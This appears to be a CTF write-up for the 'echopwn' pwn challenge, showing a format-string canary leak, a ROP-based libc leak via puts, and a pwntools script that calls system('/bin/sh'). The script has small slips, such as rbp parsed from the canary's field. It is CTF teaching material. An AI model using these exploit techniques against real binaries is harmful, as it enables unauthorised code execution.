WNKKKNW
WXxc'...':d0NW
W0d:..'cxxdl,..'cx0N
NOo;..,lOXW WKkl,..,cxKW
WXkl'..;o0N NKxc,..,lkXW
WKxc'..:xKW N0xc'..;okXW
N0d;..'lkXW N0dc'..:oOXW
NOo,..,oON WNOd:'.':xX
Kl'..;d0N WXx' .dW
Wo 'xX WKxc'..c0
Ko;..,cxKN W0d:..'ckXW
WKkl,..,lxKW NOo,..,lON
W0l. .,lkKW WXkl'.. .:xKN
N0d;..'cl:'..;okXW WKxc...:dOOd:'..,lxKW
NOo,..,lONW WXOo:...;oOXW N0d;...cxKW WXOo:...:0W
WO,..;d0N WXOo;...;ok0ko,..,lOXW Xx' .dW
Wx. 'o0N WXkl;.....;o0N WXkl,..:xX
W0d:'.,cx0N WKOkOKW WKx:..'ckXW
WXOo:'.,cxKN N0d;. .cON
W0l. ..,lkKW WNOl,..,,..'cd0N
N0o;..'ckOxc'..,lkKW WKxc'..:xKWWKxl,..,cx0N
WOl,..;oON N0dc'..;lkKW WKd:..'ckXW NKxc. .oN
Wx. 'o0N WNOd:'..;lol;..,oON WXOl..'xW
0:..;oOXW WXOo:'.':d0N WXxc'.'ckXW
WKxc,.':oOXW WNNNW WKd:..,oON
N0xc,.':d0N N0o;..;d0N
WN0d:'.'cd0N WXkl,.':xKW
WN0d:'.,cx0N WKxc'.'lkXW
WXOo:'.,cxKNWN0d:..,oONW
WXOo;'.,;,..;d0N
WXOdookKW
This was a pwn challenge finally rated with 316 points at DEKRA CTF. There was no description.
They give us a zip file with the binary, libc.so.6 and the dynamic linker.
First execution
When we first execute it we get:
❯ ./echopwn-bin
echo> hello
hello
echo> hi
So it looks like we put some input that is written back to us and finally put something again and the program exit.
The input is reflected back to us so it looks like a format string vulnerability?
❯ ./echopwn-bin
echo> %x %x %x
78252078 0 a24da980
echo> yeah
Yes! That worked. We can’t do anymore here. Let’s move on to the disassembler.
Reverse all the things
The dashboard of the binary showed us this information:

Wow, that looks pretty secure. Canary, NX bit, PIC…
If we want to make a buffer overflow we are going to need that canary. Luckly for us we know there is a format string vulnerability which will provides the solution for that problem! (At least we hope so)
Let’s move to the main function

Nothing interesting really. Let’s check what that doRead does.

Well, we can see a printf, then a gets, another printf and finally a gets again. That matches what we saw when we first run the binary.
Before leaving, it checks the canary so… yeah. Obviously we are dumping that canary.
Brainstorming
So the question is, now what? Well, there is no hidden function which contains the flag, no file loaded, no nothing. So we have to pop a shell.
The easiest way is to use libc to call execve or system with /bin/sh. To do that, we need to know where libc is loaded that particular execution (remember PIC?). We can leak that address because we know we can overflow with that final gets (as well as the first one, but that’s for other purposes)
But remember, there is canary so first we have to dump the canary (with the first gets) so the program doesn’t break.

Let’s build the exploit
Canary
First things first: the canary. We have to dump it to put it back when we overflow. We are using the format string to dump it. Let’s fire up gdb to find the exact spot.
I’m also using GEF which helps me with the debugging
Let’s run it with:
gdb echopwn
Then:
disass doRead
Let’s put a break at the end:
b *doRead + 0x153
And run it with r
Let’s put a bunch of %lx (so we don’t write over the canary):

And when we hit the breakpoint, check for $rbp - 0x8

Well, that doesn’t match any of the ones dumped. Let’s move to the next group. To access a specific item on the stack you can use: %n$lx, being n the number of the nth item on the stack so now we are sending: %5$lx %6$lx …
On that iteration we don’t get anything either. But finally:
echo> %10$lx %11$lx %12$lx %13$lx
33312520786c2432 555500786c24 55554040 afbf17a0d8f2bb00
Breakpoint 1, 0x00005555555548c9 in doRead ()
gef➤ x/2x $rbp-0x8
0x7fffffffdbc8: 0xd8f2bb00 0xafbf17a0
So the canary is on the 13th position!
Dump libc address
To dump the libc address we are going to print back to us the address of a function from libc. Then, because we have the binary file (libc.so.6), we can substract the base address of that function and get the offset.
We have gets there so let’s use that function.
Remember! We have to redirect the execution back so the program doesn’t exit!
Pop that shell
To pop the shell, we are going to put the string ‘/bin/sh’ into the RDI register and then call the system function from libc.
Time to build the script
You know, pwntools.
from pwn import *
p = process('./echopwn')
#p = remote('__________', _____)
elf = ELF('./echopwn')
libc = ELF('./.glibc/libc.so.6')
Get the canary and the address of the main function:
I’m also getting the rbp adddress so the stack doesn’t move to some weird address
p.clean()
p.sendline('AAA.%13$lx.%14$lx.%15$lx')
data = p.recvuntil("\n")
canary = data.split(b'.')[1]
rbp = data.split(b'.')[1]
main = data.split(b'.')[3]
print('Canary is 0x' + canary.decode())
print('Main + 21 (0x0000000000000908) is 0x' + main.decode())
canary = int(canary, base=16)
main = int(main, base=16)
rbp = int(rbp, base=16)
Now, let’s get the libc base address. First, we need to find a ROP gadget to put the address of gets into the RDI register:
I used ROPGadget to do this
$ ROPGadget --binary echopwn
...
0x0000000000000973 : pop rdi ; ret
0x000000000000068e : ret
...
We have the address, let’s send it. To calculate the binary offset, we know that the ret value is the address of the instruction in main after the call doRead (0x908) so if we substract the address we get to that value, we have the offset:
binary_offset = main - 0x908
pop_rdi = p64(0x973 + binary_offset)
p.clean()
p.sendline(b'A' * 52 + p64(canary) + p64(rbp) + pop_rdi + p64(binary_offset + elf.got["gets"]) + p64(binary_offset + elf.symbols["puts"]) + p64(binary_offset +elf.symbols["main"]))
Now, the final part. Receive the address:
glibc_dumped = p.recvuntil('\n')[:-1]
def pad_null_bytes(value):
return value + b'\x00' * (8-len(value))
glibc_base_address = u64(pad_null_bytes(glibc_dumped)) - libc.symbols["gets"]
print('Libc is at: ', hex(glibc_base_address))
And send the final exploit to pop the shell:
p.clean()
p.sendline('AAA.%13$lx.%14$lx.%15$lx')
data = p.recvuntil("\n")
canary = data.split(b'.')[1]
rbp = data.split(b'.')[1]
print('Canary is 0x' + canary.decode())
canary = int(canary, base=16)
rbp = int(rbp, base=16)
p.clean()
p.sendline(b'A' * 52 + p64(canary) + p64(rbp) + pop_rdi + p64(glibc_base_address + next(libc.search(b'/bin/sh'))) + p64(glibc_base_address + libc.symbols["system"]))
p.interactive()
Sweet!
